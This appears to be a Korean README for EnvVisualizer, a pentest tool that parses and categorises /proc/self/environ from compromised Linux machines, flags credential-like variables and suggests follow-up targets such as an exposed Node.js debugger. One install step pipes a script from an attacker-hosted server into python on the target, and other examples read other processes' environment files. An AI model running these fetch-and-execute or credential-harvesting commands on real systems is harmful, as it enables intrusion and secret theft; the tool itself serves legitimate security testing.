EnvVisualizer

___________           ____   ____.__                    .__  .__                     
\_   _____/ _______  _\   \ /   /|__| ________ _______  |  | |__|_______ ___________ 
 |    __)_ /    \  \/ /\   Y   / |  |/  ___/  |  \__  \ |  | |  \___   // __ \_  __ \
 |        \   |  \   /  \     /  |  |\___ \|  |  // __ \|  |_|  |/    /\  ___/|  | \/
/_______  /___|  /\_/    \___/   |__/____  >____/(____  /____/__/_____ \\___  >__|   
        \/     \/                        \/           \/              \/    \/       

침해된 Linux 머신에서 /proc/self/environ을 파싱, 분류, 시각화합니다.
뒤섞인 환경 변수 텍스트 덩어리를 구조화된 색상 코드 인텔로 — 단 몇 초 만에 변환합니다.

---

작성자: @W4r10ck423

---

문제점

박스에 침투한 후 /proc/self/environ을 읽으면 다음과 같은 결과가 나옵니다:

USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 linux x64 workspaces/falsenpm_node_execpath=/usr/bin/nodenpm_config_noproxy=HOME=/home/devnpm_package_json=/home/dev/projects/store1/package.jsonnpm_config_local_prefix=/home/dev/projects/store1SYSTEMD_EXEC_PID=881COLOR=0LOGNAME=devJOURNAL_STREAM=8:6005PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE=/usr/bin/nodeLANG=C.UTF-8npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'SHELL=/bin/bashnpm_lifecycle_event=watchEDITOR=vi

EnvVisualizer는 이를 다음과 같이 변환합니다:

============================================================================
  EnvVisualizer — /proc/self/environ  (32 variables)
============================================================================

── Identity  (4) ───────────────────────────────────────────────────────────
  HOME                                 /home/dev
  LOGNAME                              dev
  SHELL                                /bin/bash
  USER                                 dev

── Paths & Dirs  (10) ──────────────────────────────────────────────────────
  PATH
      • /home/dev/projects/store1/node_modules/.bin
      • /home/dev/projects/node_modules/.bin
      • /usr/local/sbin
      • /usr/local/bin
      • /usr/sbin
      • /usr/bin
      • /sbin
      • /bin
      • /snap/bin
  PWD                                  /home/dev/projects/store1
  npm_config_cache                     /home/dev/.npm
  npm_execpath                         /usr/share/nodejs/npm/bin/npm-cli.js

── NPM / Node  (12) ────────────────────────────────────────────────────────
  NODE                                 /usr/bin/node
  npm_command                          run-script
  npm_config_user_agent                npm/8.5.1 node/v12.22.9 linux x64 workspaces/false
  npm_lifecycle_script                 nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  npm_package_json                     /home/dev/projects/store1/package.json

── System  (6) ─────────────────────────────────────────────────────────────
  COLOR                                0
  EDITOR                               vi
  INVOCATION_ID                        abc0ab20c7dd498792d8be51c591071a
  JOURNAL_STREAM                       8:6005
  LANG                                 C.UTF-8
  SYSTEMD_EXEC_PID                     881

── Pentest Insights ────────────────────────────────────────────────────────
  ▶  Node.js debugger exposed → 127.0.0.1:9229  (try: node-inspector / chrome://inspect)
  ▶  Home dir: /home/dev
  ▶  Shell: /bin/bash
  ▶  npm_lifecycle_script = nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  ▶  npm_lifecycle_event = watch

rich가 설치되어 있으면 각 카테고리가 자체 색상 코드 테이블로 표시됩니다.

---

기능

• 세 가지 입력 모드 — 파일을 직접 읽거나(완벽한 정확도), stdin으로 파이프하거나, 원시 문자열을 붙여넣기
• 스마트 2-클래스 파서 — 복사-붙여넣기로 null 바이트가 제거된 연결 문자열을 올바르게 처리하며, 대문자 POSIX 변수와 알려진 소문자 접두사 변수(npm_*, node_*, pip_* 등)를 감지
• 6가지 의미 카테고리 — Security/Auth, Identity, Paths & Dirs, NPM/Node, Network/Proxy, System, Other
• PATH 확장 — 콜론으로 구분된 덩어리 대신 각 디렉터리를 글머리 기호로 나열
• 시크릿 탐지 — 이름이나 값이 자격 증명 패턴(TOKEN, KEY, SECRET, PASSWORD 등)과 일치하는 변수를 ⚠ 경고와 함께 표시
• Pentest Insights 패널 — 실행 가능한 발견 사항을 자동으로 표시: root 컨텍스트, sudo 권한 상승, 노출된 Node.js 디버거 포트, 활성 라이프사이클 스크립트
• Rich 또는 일반 — rich가 설치되어 있으면 색상 코드 테이블, 없으면 깔끔한 일반 텍스트 출력(의존성 제로)

---

설치

옵션 1 — 클론 후 실행 (펜테스트 환경에 권장)

git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install rich          # optional but recommended
python3 envvisualizer.py --help

옵션 2 — 시스템 명령으로 설치

git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install .
envvisualizer --help

옵션 3 — 단일 파일 드롭 (git 불필요)

envvisualizer.py를 대상 또는 공격자 머신에 복사하세요. 의존성 없이 실행됩니다:

# On the attacker machine — host it
python3 -m http.server 8080

# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ

요구 사항

Dependency	Version	Required
Python	≥ 3.8	Yes
rich	≥ 13.0	No (plain-text fallback)

---

사용법

usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]

options:
  -h, --help            show this help message and exit
  -f PATH, --file PATH  Environ file path (null-byte delimited)
  -r STRING, --raw STRING
                        Raw concatenated environ string (copy-pasted, no null bytes)
  --no-rich             Force plain-text output

입력 모드

Method	Command	Accuracy
Direct file read	python3 envvisualizer.py -f /proc/self/environ	✅ Perfect (null-byte split)
Stdin pipe	cat /proc/self/environ | python3 envvisualizer.py	✅ Perfect (null-byte split)
Pasted string	python3 envvisualizer.py -r 'USER=dev...'	✅ Good (two-class heuristic)
No args (demo)	python3 envvisualizer.py	✅ Perfect (own process)

팁: 파일 접근이 가능할 때는 항상 -f를 사용하세요.
실제 파일의 null 바이트 구분자는 정확하므로 휴리스틱이 필요하지 않습니다.

---

예제

proc에서 직접 읽기 (최고 정확도)

# Current process
python3 envvisualizer.py -f /proc/self/environ

# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ

# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ

stdin으로 파이프

cat /proc/self/environ | python3 envvisualizer.py

원시 문자열 붙여넣기 (웹 셸 / RCE 출력에서 복사-붙여넣기)

python3 envvisualizer.py -r 'USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 ...'

일반 텍스트 출력 (rich 의존성 없음)

python3 envvisualizer.py -f /proc/self/environ --no-rich

---

출력 카테고리

변수는 12개 카테고리로 그룹화되며, 우선순위 순서로 평가됩니다(첫 번째 일치가 적용).